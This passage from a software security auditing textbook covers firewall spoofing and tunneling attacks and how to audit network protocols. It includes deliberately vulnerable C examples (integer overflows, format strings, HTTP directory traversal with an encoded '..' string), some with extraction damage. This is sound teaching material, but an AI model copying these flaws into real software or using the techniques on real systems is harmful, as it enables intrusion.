Vulnerabilities 930 Special Addresses You can perform variations of the previous destination-spoofing attack by using special IP addresses in certain cases. For example, if you spoof a packet from the source IP 224.0.0.1 to yourself, you create a state table entry that enables you send packets to the multicast address. These packets, after they're accepted by the firewall, are actually passed to the firewall host's IP stack. This attack pattern can be used to attack services running on the firewall host. Spooky Action at a Distance In the analysis of spoofing packets from the compromised DMZ host, you saw that having control of the destination IP address could be quite useful when staging a spoofing attack. In that example, your location on the physical network allowed you to send packets directly to the firewall interface by using the data link layer. You could choose arbitrary destination IP addresses because you were hand-delivering the packet directly to the firewall's network card at a lower level. Normally, choosing arbitrary destination IP addresses isn't possible when you're attacking a firewall over the Internet because those addresses are used for routing. If you want the packet to reach a particular firewall, it must have a destination IP address that gets it routed through the firewall. For a firewall on the Internet, the destination address is typically a small set of public addresses, none of which allows you to do much when spoofing. To launch destination IP attacks, what you need is the ability to route arbitrary packets through the firewall. Two possibilities are available to you: IP source routing and encapsulation via tunneling protocols. Source Routing Source routing was designed to do exactly what you need. You can specify the routing path by using a loose source route so that your packet ends up at the firewall with any destination IP address you like. Unfortunately, source-routing attacks rarely work in practice because usually they are blocked. Every security device that sees a source-routed IP packet typically drops it, and routers are often configured to drop them as well. Encapsulation If you can encapsulate packets in a tunneling protocol and have them decapsulated by the firewall or a machine on the same network as the firewall, you're in an advantageous position, akin to being on the same physical network. Firewall-1 used to support decapsulation of a simple tunneling protocol, IP protocol 94. This decapsulation was always on, and it happened before any processing of the rules The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 931 or state table. Thomas Lopatic, Dug Song, and John McDonald were able to leverage this decapsulation, in concert with spoofing attacks and common rule base settings, to perform many of the aforementioned attacks against Firewall-1. This area could definitely use more research. There's no shortage of tunneling protocols that are likely to be implemented on firewalls: IPsec, various VPN protocols, tunneling protocols related to IPv6, tunneling protocols for mobile users, and so forth. 8.2.7 Summary This chapter has given you some exposure to the kinds of security issues that can affect firewall systems. You've seen how attacks against firewalls typically involve tricking the firewall into violating its rule-base or facilitating an attacker in impersonating another system. These types of attacks are particularly significant when you consider that firewalls are devices charged with protecting the borders of almost every network. From an auditing perspective, firewalls provide a unique and very worthwhile project. Reviewing firewall software can be particularly interesting, as it requires a creative use of networking protocols, and there's a heavy focus on design and logic review. It's also an area that's currently lacking in extensive investigation, so it's a good place for a vulnerability researcher to cover new ground. 8.3 Chapter 16. Network Application Protocols Chapter 16. Network Application Protocols "When the going gets weird the weird turn pro." Hunter S. Thompson 8.3.1 Introduction Chapter 14(? [????.]), "Network Protocols," examined auditing low-level functionality in IP stacks in modern operating systems and other devices that perform some level of network functionality, security, or analysis. Applications that communicate over the Internet typically implement higher-level protocols and use those previously examined TCP/IP components only as a transport mechanism. Code implementing these higher-level protocols is exposed to attack from untrusted sources. A large percentage of the codebase is dedicated to parsing data from remote machines, and that data is usually expected to conform to a set of protocol specifications. Auditing application-layer protocols involves understanding the rules that govern how a piece The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 932 of software communicates with its counterparts on the network, and then applying relevant concepts introduced in Part II(? [????.]), "Software Vulnerabilities," of this book. A number of well-known and widely used protocols provide functionality you use daily, such as Hypertext Transfer Protocol (HTTP) for Web browsing, Simple Mail Transfer Protocol (SMTP) for sending and receiving e-mail, and File Transfer Protocol (FTP) for transferring files. These protocols are just a few of the ever-growing list used by millions of clients and servers worldwide. This chapter focuses on a few application protocols that are widely used across the Internet, and you see how to relate a protocol's design with classes of vulnerabilities that are likely to occur as a result of these design choices. 8.3.2 Auditing Application Protocols Before you jump into selected protocols, this section explains some general procedures that are useful when auditing a client or server product. The steps offer brief guidelines for auditing a protocol you're unfamiliar with. If you're already familiar with the protocol, you might be able to skip some early steps. Note At the time of this writing, there has been a big trend in examining software that deals with file formats processed by client (and, less often, server) software. The steps outlined in this section could also be applied to examining programs dealing with file formats, as both processes use similar procedures. Collect Documentation So how do you audit software that's parsing data in a format you know nothing about? You read the protocol specification, of course! If the protocol is widely used, often there's an RFC or other formal specification detailing its inner workings and what an implementation should adhere to (often available at www.ietf.org/rfc.html). Although specifications can be tedious to read, they're useful to have on hand to help you understand protocol details. Books or Web sites that describe protocols in a more approachable format are usually available, too, so start with an Internet search. Even if you're familiar with a protocol, having these resources available will help refresh your memory, and you might discover recent new features or find some features perform differently than you expected. For proprietary protocols, official documentation might not be available. However, searching the Internet is worth the time, as invariably other people with similar goals have invested time in documenting or reverse-engineering portions of these protocols. When reading code that implements a protocol, there are two arguments for acquiring additional documentation: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 933  Why not use all the tools you have available at your disposal? There's nothing to lose by reading the specifications, and often they help you quickly understand what certain portions of code are attempting to accomplish.  Reading the documentation can give you a good idea of where things are likely to go wrong and give you a detailed understanding of how the protocol works, which might help you see what could go wrong from a design perspective (discussed in depth in Chapter 2(? [????.]), "Design Review"). Identify Elements of Unknown Protocols Sometimes you encounter a proprietary protocol with no documentation, which means you have to reverse-engineer it. This skill can take some time to master, so don't be discouraged if you find it cumbersome and difficult the first few times. There are two ways to identify how a protocol works: You can observe the traffic or reverse-engineer the applications that handle the traffic. Both methods have their strengths and weaknesses. Reverse-engineering applications give you a more thorough understanding, but doing so might be impractical in some situations. The following sections present some ideas to help get you on the right track. Using Packet Sniffers Packet-sniffing utilities are invaluable tools for identifying fields in unknown protocols. One of the first steps to understanding a protocol is to watch what data is exchanged between two hosts participating in a communication. Many free sniffing tools are available, such as tcpdump (available from www.tcpdump.org/) and Wireshark (previously Ethereal, available from www.wireshark.org/). Of course, the protocol must be unencrypted for these tools to be useful. However, even encrypted protocols usually begin with some sort of initial negotiation, giving you insight into how the protocol works and whether the cryptographic channel is established securely. One of the most obvious characteristics you'll notice is whether the protocol is binary or text based. With a text-based protocol, you can usually get the hang of how it works because the messages aren't obscured. Binary protocols are more challenging to comprehend by examining packet dumps. Here are some tips for understanding the fields. When reading this section and trying to analyze a protocol, keep in mind the types of fields that usually appear in protocols: connection IDs, length fields, version fields, opcode or result fields, and so on. Most undocumented protocols aren't much different from the multitude of open protocols, and you're likely to find similarities in how proprietary and open protocols work. This chapter focuses on simple one-layer protocols for the sake of clarity. You can apply the same principles to complex multilayer protocols, but analyzing them takes more work and more practice. Initiate the Connection Several Times The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 934 Start at the beginning with connection initiation. Usually, it's easier to start there and branch out. Establishing new connections between the same test hosts multiple times and noting what values change can be useful. Pay special attention to the top of the message, where there's presumably a header of some sort. Note the offsets of data that changes. It's your job to pinpoint why those values changed. Asking yourself some simple questions, such as the following, might help identify the cause of those changes:  Did a single field change by a lot or a little?  Was the change of values in a field drastic? Could it be random, such as a connection ID?  Did the size of the packet change? Did a field change in relation to the size of the packet? Could it be a size field? Answer these questions and keep detailed notes for each field that changes. Then try to come up with additional questions that might help you determine the purpose of certain fields. Pay attention to how many bytes change in a particular area. For example, if it's two bytes, it's probably a word field; four bytes of change could mean an integer field; and so forth. Because many protocols are composed of messages that have a similar header format and a varying body, you should write down all the findings you have made and see where else they might apply in the protocol. This method can also help you identify unknown fields. For example, say you have figured out a header format such as the following: struct header { unsigned short id; /* seems random */ unsigned short unknown1; unsigned long length; /* packet len including header */ } You might have deduced that unknown1 is always the value 0x01 during initiation, but in later message exchanges, it changes to 0x03, 0x04, and so forth. You might then infer that unknown1 is a message type or opcode. Replay Messages When you examine packet dumps, replaying certain messages with small changes to see how the other side responds can prove helpful. This method can give you insight on what certain fields in the packet represent, how error messages are conveyed, and what certain error codes mean. It's especially useful when the same protocol errors happen later when you replay other messagesa good way to test previous deductions and see whether you were right. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 935 Reverse-Engineering the Application Reverse-engineering is both a science and an art, and it's a subject that could easily take an entire book to cover. Reverse-engineering isn't covered in depth in this chapter; instead, it's mentioned as a technique that can be used on clients and servers to gain an in-depth understanding of how a protocol works. The following sections introduce the first steps to take to understand a protocol. Use Symbols If you can get access to binary code with symbols, by all means, use it! Function names and variable names can provide invaluable information as to what a protocol does. Using these symbols can help isolate the code you need to concentrate on because functions dealing with messages are aptly named. Some programs you audit might have additional files containing symbols and debugging information (such as PDB, Program Debug Database, files for Windows executables). These files are a big help if you can get your hands on them. For instance, you might be doing auditing for a company that refuses to give you its source code but might be open to disclosing debugging builds or PDB files. Note Microsoft makes PDB symbol packages available at http://msdl.microsoft.com/, and these timesavers are invaluable tools for gaining insight into Microsoft programs. If getting source code isn't an option, it's recommended that you negotiate with whoever you're doing code auditing for to get debug symbols. Examine Strings in the Binary Sometimes binaries don't contain symbols, but they contain strings indicating function names, especially when debugging information has been compiled into the production binary. It's not uncommon to see code constructs such as the following: #define DEBUG1(x) if(debug) printf(x) int parse_message(int sock) { DEBUG1("Entering parse_message\n"); ... process message ... } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 936 Although debugging is turned off for the production release, the strings appear in the binary, so you can see the function names with debugging messages in them. Strings also come in useful when you're looking for certain strings that appear in the protocol or errors that appear in the protocols or logs. For example, you send a message that disconnects but leaves a log message such as "[fatal]: malformed packet received from 192.168.1.1: invalid packet length." This string tells you that the length field (wherever it appears in the packet) is invalid, and you also have a string to search for. By searching through the binary for "invalid packet length" or similar, you might be able to locate the function that's processing the packet length and, therefore, discover where in the binary to start auditing. Examine Special Values As well as helpful strings in the executable, you might find unique binary values in the protocol that can be used to locate code for processing certain messages. These values are commonly found when you're dealing with file formats because they contain "signature" values to identify the file type at the beginning of the file (and possibly in other parts of the file). Although unique signatures are a less common practice in protocols sent over the network (as they're often unnecessary), there might be tag values or something similar in the protocol that have values unlikely to appear naturally in a binary. "Appearing naturally" means that if you search the binary for that value (using an IDA text search on the disassembly), it's unlikely to occur in unrelated parts of the program. For example, the value 0x0C would occur often in a binary, usually as an offset into a structure. Frequent occurrence makes it a poor unique value to search for in the binary. A more unusual value, such as 0x8053, would be a better search choice, as it's unlikely that structures have members at this offset (because the structures would have to be large and because the value is odd, so aligned pointer, integer, and word values don't appear at unaligned memory offsets). Debug Debugging messages were mentioned in the section on examining strings, and you saw an example of debugging messages appearing in the compiled code. This means you can turn on debugging and automatically receive all debugging output. Usually, vendors have a command-line option to turn on debugging, but they might remove it for the production release. However, if you cross-reference a debugging string such as "Entering parse_message," you see a memory reference to where the debug variable resides in memory. So you can just change it to nonzero at runtime and receive all the debugging messages you need. Find Communication Primitives The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 937 When all else fails, you can revert to finding entry points you know about; protocol software has to send and receive data at some point. For protocols that operate over TCP, entry points might include read(), recv(), recvmsg(), and WSArecv(). UDP protocols might also use recvfrom() and WSArecvfrom(). Locating where these functions are used points you to where data is read in from the network. Sometimes this method is an easy route to identifying where data is being processed. Unfortunately, it might take some tracing back through several functions, as many applications make wrappers to communication primitives and use them indirectly (by having the communication primitives in the form of class methods). Still, in these cases, you can break on one of the aforementioned functions at runtime and let it return a few times to see where processing is taking place. Use Library Tracing Another technique that can aid in figuring out what a program is doing is using system tools to trace the application's library calls or system resource accesses. These tools include TRuss for Solaris, ltrace for Linux, ktrace for BSD, and Filemon/Regmon for Windows (www.sysinternals.com/). This technique is best used with the other techniques described. Match Data Types with the Protocol After you're more familiar with a protocol, you start to get a sense of where things could go wrong. Don't worry if this doesn't happen right away; the more experience you get, the more you develop a feel for potential problem areas. One way to identify potential problem areas is to analyze the structure of untrusted data processed by a server or client application, and then match elements of those structures with vulnerability classes covered in this book, as explained in the following sections. Binary Protocols Binary protocols express protocol messages in a structural format that's not readable by humans. Text data can be included in parts of the protocol, but you also find elements in nontext formats, such as integers or Booleans. Domain Name System (DNS) is one example of a binary protocol; it uses bit fields to represent status information, two-byte integer fields to represent lengths and other data (such as IDs), and counted text fields to represent domain labels. Binary protocols transmit data in a form that's immediately recognizable by the languages that implement servers and clients. Therefore, they are more susceptible to boundary condition vulnerabilities when dealing with those data types. Specifically, when dealing with integers, a lot of the typing issues discussed in Chapter 6(? [????.]), "C Language Issues," are relevant. For this reason, the following sections summarize integer-related vulnerabilities that commonly occur in binary protocols. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 938 Integer Overflows and 32-Bit Length Values Integer overflows often occur when 32-bit length variables are used in protocols to dynamically allocate space for user-supplied data. This vulnerability usually results in heap corruption, allowing a remote attacker to crash the application performing the parsing or, in many cases, exploit the bug to run arbitrary code. This code shows a basic example of an integer overflow when reading a text string: char *read_string(int sock) { char *string; size_t length; if(read(sock, (void *)&length, sizeof(length)) != sizeof(length)) return NULL; length = ntohl(length); string = (char *)calloc(length+1, sizeof(char)); if(string == NULL) return NULL; if(read_bytes(sock, string, length) < 0){ free(string); return NULL; } string[length] = '\0'; return string; } In the fictitious protocol the code is parsing, a 32-bit length is supplied, indicating the length of the string followed by the string data. Because the length value isn't checked, a value of the highest representable integer (0xFFFFFFFF) triggers an integer overflow when 1 is added to it in the call to calloc(). Integer Underflows and 32-Bit Length Values Integer underflows typically occur when related variables aren't adequately checked against each other to enforce a relationship, as shown in this example: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 939 struct _pkthdr { unsigned int operation; unsigned int id; unsigned int size; }; struct _tlv { unsigned short type, length; char value[0]; } int read_packet(int sock) { struct _pkthdr header; struct _tlv tlv; char *data; size_t length; if(read_header(sock, &header) < 0) return 1; data = (char *)calloc(header.size, sizeof(char)); if(data == NULL) return 1; if(read_data(sock, data, header.size) < 0){ free(data); return 1; } for(length = header.size; length > sizeof(struct tlv); ){ if(read_tlv(sock, &tlv) < 0) goto fail; ... process tlv ... length -= tlv.length; } return 0; } In this fictitious protocol, a packet consists of a header followed by a series of type, length, and value (TLV) structures. There's no check between the size in the packet The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 940 header and the size in the TLV being processed. In fact, the TLV length field can be bigger than the length in the packet header. Sending this packet would cause the length variable to underflow and the loop of TLV processing to continue indefinitely, processing arbitrary process memory until it hits the end of the segment and crashes. Integer underflows can also occur when length values are required to hold a minimum length, but the parsing code never verifies this requirement. For example, a binary protocol has a header containing an integer specifying the packet size. The packet size is supposed to be at least the size of the header plus any remaining data. Here's an example: #define MAX_PACKET_SIZE 512 #define PACKET_HDR_SIZE 12 struct pkthdr { unsigned short type, operation; unsigned long id; unsigned long length; } int read_header(int sock, struct pkthdr *hdr) { hdr->type = read_short(sock); hdr->operation = read_short(sock); hdr->id = read_long(sock); hdr->length = read_long(sock); return 0; } int read_packet(int sock) { struct pkthdr header; char data[MAX_PACKET_SIZE]; if(read_header(sock, &header) < 0) return 1; if(hdr.length > MAX_PACKET_SIZE) return 1; if(read_bytes(sock, data, hdr.length PACKET_HDR_SIZE) < 0) return 1; ... process data ... } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 941 This code assumes that hdr.length is at least PACKET_HDR_SIZE (12) bytes long, but this is never verified. Therefore, the read_bytes() size parameter can be underflowed if hdr.length is less than 12, resulting in a stack overflow. Small Data Types The issues with length specifiers smaller than 32 bits (8- or 16-bit lengths) are a bit different from issues with large 32-bit sizes. First, sign-extension issues are more relevant because programs often natively use 32-bit variables, even when dealing with smaller data types. These sign-extension issues can result in memory corruption or possibly denial-of-service conditions. Listing 16-1 shows a simple example of DNS server code. Listing 16-1. Name Validation Denial of Service .text:0101D791 .text:0101D791 push ebx .text:0101D792 push esi .text:0101D793 mov esi, [esp+arg_0] .text:0101D797 xor ebx, ebx .text:0101D799 movzx edx, byte ptr [esi] .text:0101D79C lea eax, [esi+2] .text:0101D79F mov ecx, eax .text:0101D7A1 add ecx, edx .text:0101D7A3 .text:0101D7A3 loc_101D7A3: ; CODE XREF: Name_ValidateCountName(x)+21 .text:0101D7A3 cmp eax, ecx .text:0101D7A5 jnb short loc_101D7B6 .text:0101D7A7 movsx edx, byte ptr [eax] .text:0101D7AA inc eax .text:0101D7AB test edx, edx .text:0101D7AD jz short loc_101D7B4 .text:0101D7AF add eax, edx .text:0101D7B1 inc ebx .text:0101D7B2 jmp short loc_101D7A3 This piece of assembly code contains a sign-extension problem (which is bolded). It roughly translates to this C code: int Name_ValidateCountName(char *name) { The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 942 char *ptr = name + 2; unsigned int length = *(unsigned char *)name; for(ptr = name + 2, end = ptr + length; ptr < end; ) { int string_length = *ptr++; if(!domain_length) break; ptr += domain_length; } ... } This code loops through a series of counted strings until it reaches the end of the data region. Because the pointer is pointing to a signed character type, it's sign-extended when it's stored as an integer. Therefore, you can jump backward to data appearing earlier in the buffer and create a situation that causes an infinite loop. You could also jump to data in random memory contents situated before the beginning of the buffer with undefined results. Note In fact, the length parameter at the beginning of the function isn't validated against anything. So based on this code, you should be able to indicate that the size of the record being processed is larger than it really is; therefore, you can process memory contents past the end of the buffer. Text-Based Protocols Text-based protocols tend to have different classes of vulnerabilities than binary protocols. Most vulnerabilities in binary protocol implementations result from type conversions and arithmetic boundary conditions. Text-based protocols, on the other hand, tend to contain vulnerabilities related more to text processingstandard buffer overflows, pointer arithmetic errors, off-by-one errors, and so forth. Note The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 943 One exception is text-based protocols specifying lengths in text that are converted to integers, such as the Content-Length HTTP header discussed in "Posting Data(? [????.])" later in this chapter. Buffer Overflows Because text-based protocols primarily manipulate strings, they are more vulnerable to simpler types of buffer overflows than to type conversion errors. Text-based protocol vulnerabilities include buffer overflows resulting from unsafe use of string functions (discussed in Chapter 9(? [????.]), "Strings and Metacharacters"), as shown in this simple example: int smtp_respond(int fd, int code, char *fmt, ...) { char buf[1024]; va_list ap; sprintf(buf, "%d ", code); va_start(ap, fmt); vsprintf(buf+strlen(buf), fmt, ap); va_end(ap); return write(fd, buf, strlen(buf)); } int smtp_docommand(int fd) { char *host, *line; char commandline[1024]; if(read_line(fd, commandline, sizeof(commandline)-1) < 0) return -1; if(getcommand(commandline, &line) < 0) return -1; switch(smtpcommand) { case EHLO: case HELO: host = line; smtp_respond(fd, SMTP_SUCCESS, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 944 "hello %s, nice to meet you\n", host); break; ... } } The smtp_respond() function causes problems when users supply long strings as arguments, which they can do in smtp_docommand(). Simple buffer overflows like this one are more likely to occur in applications that haven't been audited thoroughly, as programmers are usually more aware of the dangers of using strcpy() and similar functions. These simple bugs still pop up from time to time, however. Pointer arithmetic errors are more common than these simple bugs because they are generally more subtle. It's fairly easy to make a mistake when dealing with pointers, especially off-by-one errors (discussed in more detail in Chapter 7(? [????.])). These mistakes are especially likely when there are multiple elements in a single line of text (as in most text-based protocols). Text-Formatting Issues Using text strings opens the doors for specially crafted strings that might cause the program to behave in an unexpected way. With text strings, you need to pay attention to string-formatting issues (discussed in Chapter 8(? [????.]), "Program Building Blocks") and resource accesses (discussed in more detail in "Access to System Resources"). However, you need to keep your eye out for other problems in text data decoding implementations, such as faulty hexadecimal or UTF-8 decoding routines. Text elements might also introduce the potential for format string vulnerabilities in the code. Note Format string vulnerabilities can occur in applications that deal with binary or text-based formats. However, they're more likely to be exploitable in applications dealing with text-based protocols because they are more likely to accept a format string from an untrusted source. Data Verification In many protocols, the modification (or forgery) of exchanged data can represent a security threat. When analyzing a protocol, you must identify the potential risks if The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 945 false data is accepted as valid and whether the protocol has taken steps to prevent modifications or forgeries. To determine whether data needs to be secured, ask these simple questions:  Is it dangerous for third parties to read the information going across the network?  Could forged or modified data result in a security breach of the receiver? If the answer to the first question is yes, is encryption necessary? This chapter doesn't cover the details of validating the strength of a cryptographic implementation, but you can refer to the discussion of confidentiality in Chapter 2(? [????.]) on enforcing this requirement in design. If the answer to the second question is yes, verification of data might be required. Again, if cryptographic hashing is already used, you need to verify whether it's being applied in a secure fashion, as explained in Chapter 2(? [????.]). Forging data successfully usually requires that the protocol operate over UDP rather than TCP because TCP is generally considered adequate protection against forged messages. However, modification is an issue for protocols that operate over both UDP and TCP. If you're auditing a well-known and widely used protocol, you need not worry excessively about answering the questions on authentication and sensitivity of information. Standards groups have already performed a lot of public validation. However, any implementation could have a broken authentication mechanism or insecure use of a cryptographic protocol. For example, DNS message forging using the DNS ID field is covered in "DNS Spoofing(? [????.])" later in this chapter. This issue is the result of a weakness in the DNS protocol; however, whether a DNS client or server is vulnerable depends on certain implementation decisions affecting how random the DNS ID field is. Access to System Resources A number of protocols allow users access to system resources explicitly or implicitly. With explicit access, users request resources from the system and are granted or denied access depending on their credentials, and the protocol is usually designed as a way for users to have remote access to some system resources. HTTP is an example of just such a protocol; it gives clients access to files on the system and other resources through the use of Web applications or scripts. Another example is the Registry service available on versions of Microsoft Windows over RPC. Implicit access is more of an implementation issue; the protocol might not be designed to explicitly share certain resources, but the implementation provisions access to support the protocols functionality. For example, you might audit a protocol that uses data values from a client request to build a Registry key that's queried or even written to. This access isn't mentioned in the protocol specification and happens transparently to users. Implicit access is often much less protected that explicit The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 946 access because a protocol usually outlines a security model for handling explicit resource access. Additionally, explicit resource accesses are part of the protocol's intended purpose, so people tend to focus more on security measures for explicit resource access. Of course, they might be unaware of implicit accesses that happen when certain requests are made. When you audit an application protocol, you should note any instances in which clients can access resourcesimplicitly and explicitlyon the system, including reading resources, modifying existing resources, and creating new ones. Any application accesses quite a lot of resources, and it's up to you to determine which resource accesses are important in terms of security. For example, an application might open a configuration file in a static location before it even starts listening for network traffic. This resource access probably isn't important because clients can't influence any part of the pathname to the file or any part of the file data. (However, the data in the file is important in other parts of the audit because it defines behavioral characteristics for the application to adhere to.) After you note all accesses that are interesting from a security perspective, you need to determine any potential dangers of handling these resources. To start, ask the following questions:  Is credential verification for accessing the resource adequate? You need to determine whether users should be allowed to access a resource the application provides. Maybe no credentials are required, and this is fine for a regular HTTP server providing access to public HTML documents, for example. For resources that do require some level of authentication, is that authentication checked adequately? The answer depends on how the authentication algorithm is designed and implemented. Some algorithms rely on cryptographic hashes; others might require passwords or just usernames, ala RPC_AUTH_UNIX. Even if cryptography is used, it doesn't mean authentication is foolproof. Small implementation oversights can lead to major problems. Refer to Chapter 2(? [????.]) to help you determine whether any cryptographic authentication in use is adequate for your purposes.  Does the application give access to resources that it's supposed to? Often an application intends to give access to a strict subset of resources, but the implementation is flawed and specially crafted requests might result in disclosure of resources that should be off-limits. For example, the Line Printer Daemon (LPD) service takes files from a client and puts them in a spool directory for printing. However, if filenames are supplied with leading double dots (..), some implementations erroneously allowed connecting clients to place files anywhere on the system! When assessing an application for similar problems, the material from Chapter 8(? [????.]) offers detailed information on reviewing code that handles path-based access to resources. 8.3.3 Hypertext Transfer Protocol The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 947 Hypertext Transfer Protocol (HTTP) is used to serve dynamic and static content from servers to clients (typically Web browsers). It's a text-based protocol, so many of the vulnerabilities in C/C++ HTTP implementations result from string manipulation errorsbuffer overflows or incorrect pointer arithmetic. Note The popularity of HTTP has caused its design to influence a number of other protocols, such as RTSP (Real Time Streaming Protocol) and SIP (Session Initiation Protocol). These similarities in design generally lead to similar problem areas in the implementation, so you can leverage your knowledge of one in reviewing the other. HTTP is discussed in more depth when covering Web applications in Chapter 17(? [????.]), "Web Applications," but this section gives you a quick overview. HTTP requests are composed of a series of headers delineated by end-of-line markers (CRLF, or carriage return and linefeed). The first line is a mandatory header indicating the method the client wants to perform, the resource the client wants to access, and the HTTP version. Here's an example: GET /cgi-bin/resource.cgi?name=bob HTTP/1.0 The method describes what the client wants to do with the requested resource. Typically, only GET, HEAD, and POST are used for everyday Web browsing. Chapter 17(? [????.]) lists several additional request methods. Header Parsing One of the most basic units of HTTP communication is the HTTP header, which is simply a name and value pair in the following format: name: value Headers can generally have any name and value. The HTTP server handling the request simply ignores a header it doesn't recognize; that is, the unknown header is stored with the rest of the headers and passed to any invoked component, but no special processing occurs. The code for parsing headers is fairly simple, so it's unlikely to contain vulnerabilities. However, a special type of header, known as a folded header, is more complex and could lead to processing vulnerabilities. Headers are usually one line long, but the HTTP specification allows multiline headers, which have a normal first line followed by indented lines, as shown: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 948 name: value data more value data even more value data HTTP servers that support this header might make assumptions about the maximum size of a header and copy too much data when encountering folded headers, as shown in this example: int read_header(int soc, char **buffer) { static char scratch[HTTP_MAX_HEADER], *line; unsigned int size = HTTP_MAX_HEADER, read_bytes = 0; int rc; char c; for(line = scratch;;){ if((rc = read_line(sock, line+read_bytes, HTTP_MAX_HEADER)) < 0) return 1; if(peek_char(sock, &c) < 0) return 1; if(c != '\t' && c != ' ') return line; size += HTTP_MAX_HEADER; if(line == scratch) line = (char *)malloc(size); else line = (char *)realloc(line, size); if(line == NULL) return 1; read_bytes += rc; } } struct list *read_headers(int sock) { char *buffer; struct list *headers; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 949 LIST_INIT(headers); for(;;){ if(read_header(sock, &buffer) < 0){ LIST_DESTROY(headers); return NULL; } } } int log_user_agent(char *useragent) { char buf[HTTP_MAX_HEADER*2]; sprintf(buf, "agent: %s\n", useragent); log_string(buf); return 0; } The log_user_agent() function has an obvious overflow, but normally, it couldn't be triggered because the read_header() function reads at most HTTP_MAX_HEADER bytes per line, and the buffer in log_user_agent() is twice as big as that. Developers sometimes use less safe data manipulation when they think supplying malicious input isn't possible. In this case, however, that assumption is incorrect because arbitrarily large headers can be supplied by using header folding. Accessing Resources Exposing resources to clients (especially unauthenticated ones) can be dangerous, but the whole point of an HTTP server is to serve content to clients. However, the code for requesting access to resources must be careful. There are hundreds of examples of HTTP servers disclosing arbitrary files on the file system, as shown in this simple example of a bug: char *webroot = "/var/www"; int open_resource(char *url) { char buf[MAXPATH]; snprintf(buf, sizeof(buf), "%s/%s", webroot, url); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 950 return open(buf, O_RDONLY); } This code is intended to open a client-requested file from the /var/www directory, but the client can simply request a file beginning with ../../ and access any file on the system. This is possible because no checking is done to handle dots in the filename. HTTP servers are also particularly vulnerable to encoding-related traversal bugs. You saw an example in Chapter 8(? [????.]), but here's another simple example: char *webroot = "/var/www"; void hex_decode(char *path) { char *srcptr, *destptr; for(srcptr = destptr = path; *srcptr; srcptr++){ if(*srcptr != '%' || (!srcptr[1] || !srcptr[2])){ *destptr++ = *srcptr; continue; } *destptr++ = convert_bytes(&srcptr[1]); srcptr += 2; } *destptr = '\0'; return; } int open_resource(char *url) { char buf[MAXPATH]; if(strstr(url, "..")) return -1; // user trying to do directory traversal hex_decode(url); snprintf(buf, sizeof(buf), "%s/%s", webroot, url); return open(buf, O_RDONLY); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 951 } Obviously, this code is dangerous because it does hexadecimal decoding after it checks the URL for directory traversal. So a URL beginning with %2E%2E/%2E%2E allows users to perform a directory traversal, even though the developers intended to deny these requests. Some HTTP servers implement additional features or keywords; they are implicitly processed by the server to perform a different task with the document being requested. Should you encounter a server that does this, familiarize yourself with the code dealing with those special features or keywords. Developers often fail to account for the security implications of these features because they are operating outside the core specification, so vulnerable mistakes or oversights in implementing these features are possible. Utility Functions Most HTTP servers include a lot of utility functions that have interesting security implications. In particular, there are functions for URL handlingdealing with URL components such as ports, protocols, and paths; stripping extraneous paths; dealing with hexadecimal decoding; protecting against double dots; and so forth. Quite a large codebase can be required just for dealing with untrusted data, so checking for buffer overflows and similar problems is certainly worthwhile. In addition, logging utility functions can be interesting, as most HTTP servers log paths and methods, which could create an opportunity to perform format string attacks. Here's an example of some vulnerable code: int log(char *fmt, ...) { va_list ap; va_start(ap, fmt); vfprintf(logfd, fmt, ap); va_end(ap); return 0; } int log_access(char *path, char *remote_address) { char buf[1024]; snprintf(buf, sizeof(buf), "[ %s ]: %s accessed by %s\n", g_sname, path, remote_address); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 952 return log(buf); } This type of code isn't uncommon (at least it wasn't when format string vulnerabilities were first brought to public attention). By having multiple layers of functions that take variable arguments, code can easily be susceptible to format string attacks, and logging utility functions are one of the most common areas for this code to appear. Posting Data Another potential danger area in HTTP occurs when handling input supplied via the POST method. There are two methods used when supplying data via a POST method: a simple counted data post and chunked encoding. In a simple counted data post, a block of data is supplied to the HTTP server in a message. The size of this data is specified by using the Content-Length header. A request might look like this: POST /app HTTP/1.1 Host: 127.0.0.1 Content-Length: 10 1234567890 In this request, the block of data is supplied after the request headers. How this length value is interpreted, however, could create a serious vulnerability for an HTTP server. Specifically, you must consider that large values might result in integer overflows or sign issues (covered in Chapter 6(? [????.]), "C Language Issues"). Here's an example of a simple integer overflow: char *read_post_data(int sock) { char *content_length, *data; size_t clen; content_length = get_header("Content-Length"); if(!content_length) return NULL; clen = atoi(content_length); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 953 data = (char *)malloc(clen + 1); if(!data) return NULL; tcp_read_data(s, data, clen); data[clen] = '\0'; return data; } The Content-Length value is converted from a string to an integer and then used to allocate a block of data. Because the conversion is unchecked, a client could supply the maximum representable integer. When it's added to in the argument to malloc(), an integer overflow occurs and a small allocation takes place. The following call to tcp_read_data() then allows data read from the network to overwrite parts of the process heap. Also, note that the line in the code that NUL-terminates the user-supplied buffer writes a NUL byte out of bounds (because clen is 0xFFFFFFFF, which is equivalent to data[-1]one byte before the beginning of the buffer). The second issue in dealing with Content-Length header interpretation involves handling signed Content-Length values. If the length value is interpreted as a negative number, size calculation errors likely occur, with memory corruption being the end result. Consider the following code (originally from AOLServer): typedef struct Request { ... other members ... char *next; /* Next read offset. */ char *content; /* Start of content. */ int length; /* Length of content. */ int avail; /* Bytes avail in buffer. */ int leadblanks; /* # of leading blank lines read */ ... other members ... } Request; static int SockRead(Sock 